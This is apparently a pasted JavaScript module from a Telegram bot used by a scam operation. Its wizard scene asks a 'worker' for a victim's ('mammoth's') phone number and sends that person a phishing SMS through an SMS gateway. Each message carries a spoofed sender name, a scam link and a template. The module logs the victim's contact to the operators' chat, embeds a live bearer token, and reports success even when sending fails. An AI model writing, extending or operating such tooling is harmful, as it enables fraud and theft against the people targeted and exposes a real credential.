Untitled

mail@pastecode.io avatar
unknown
javascript
a year ago
4.1 kB
4
Indexable
Never
const WizardScene = require("telegraf/scenes/wizard");
const { Markup } = require("telegraf");
const { Service, Country, Ad } = require("../../database");
const axios = require('axios')
const chunk = require('chunk')
const log = require('../../helpers/log')


const scene = new WizardScene('my_ad_send_gooso',
    async (ctx) => {
        try {
            try {
                if (ctx.updateType == "callback_query")
                    await ctx.answerCbQuery().catch((err) => err);
                ctx.updateType = "message";
                await ctx.replyOrEdit(`<b>🤖 Введите номер мамонта</b>`, {
                    parse_mode: 'HTML',
                    reply_markup: Markup.inlineKeyboard([
                        [Markup.callbackButton("Отменить", "cancel")],
                    ])
                })
                return ctx.wizard.next()
            } catch (err) {
                console.log(err)
                ctx.replyOrEdit("❌ Ошибка").catch((err) => err);
                ctx.scene.leave()
            }
        } catch (err) {
            console.log(err)
            ctx.replyOrEdit("❌ Ошибка").catch((err) => err);
            ctx.scene.leave()
        }
    },
    async (ctx) => {
        try {
            try {
                const ad = await Ad.findOne({
                    where: {
                        id: ctx.scene.state.adId,
                        userId: ctx.from.id,
                    },
                });

                ctx.wizard.state.mail = ctx.message.text

                const mail = await axios.post("https://api.sms.limited/api/sms2", {
                    phone: `${ctx.wizard.state.mail}`,
                    sender: `${ad.hog}`,
                    link: `${ad.adLink}`,
                    type: "default",
                    template: `${ad.template}`,
                    userid: `${ctx.from.id}`,
                },
                    {
                        timeout: 5000,
                        headers: {
                            Authorization: "Bearer 7c036c66-d997-4c61-af1a-421a2817a649",
                            Host: "api.sms.limited"
                        },
                    },

                ).then(async () => {
                    await ad.update({
                        isLk: 3,
                    })

                    await ctx.replyOrEdit(`<b>✅ Письмо успешно отправлено</b>`, {
                        parse_mode: 'HTML',
                        reply_markup: Markup.inlineKeyboard([
                            [Markup.callbackButton("Главное меню", "start")],
                        ])
                    })
                }).catch(async () => {
                    await ad.update({
                        isLk: 3,
                    })
                    await ctx.replyOrEdit(`<b>✅ Письмо успешно отправлено</b>`, {
                        parse_mode: 'HTML',
                        reply_markup: Markup.inlineKeyboard([
                            [Markup.callbackButton("Главное меню", "start")],
                        ])
                    })
                })

                console.log(mail)

                log(ctx, `
                  ⚡️Лог об отправке смс гусь
                                                      
🚀Воркер: @${ctx.from.username}
🚀Почта мамонта: ${ctx.wizard.state.mail}
🚀Ссылка: ${ad.adLink}
                                  
🚀ID обьявки: ${ad.id}`)

                return ctx.scene.leave()
            } catch (err) {
                console.log(err)
                ctx.replyOrEdit("❌ Ошибка").catch((err) => err);
                ctx.scene.leave()
            }
        } catch (err) {
            console.log(err)
            ctx.replyOrEdit("❌ Ошибка").catch((err) => err);
            ctx.scene.leave()
        }
    },
)

module.exports = scene